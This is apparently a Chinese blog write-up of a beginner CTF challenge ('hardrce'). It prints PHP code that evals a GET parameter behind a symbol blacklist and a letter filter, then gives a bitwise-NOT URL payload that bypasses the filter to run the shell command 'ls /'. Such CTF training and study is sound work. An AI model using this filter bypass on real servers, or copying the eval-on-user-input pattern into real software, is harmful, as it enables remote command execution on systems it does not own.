[SWPUCTF 2021 新生赛]hardrce(简单的无字母RCE)

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 

过滤了'\t','\r','\n','+','','"','-','$','*','?','<','>','=','`'

以及 [a-zA-Z] 即所有的大小写字母

如果不包含这些会执行eval函数

无字母RCE主要用到异或或者取反(只适用于php版本在7以上),如果都被ban了用自增(自 PHP 8.3.0 起,此功能已软弃用)或临时文件上传

这里使用取反绕过

payload

/?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
posted @ 2025-04-25 21:23  Susen  阅读(110)  评论(0)    收藏  举报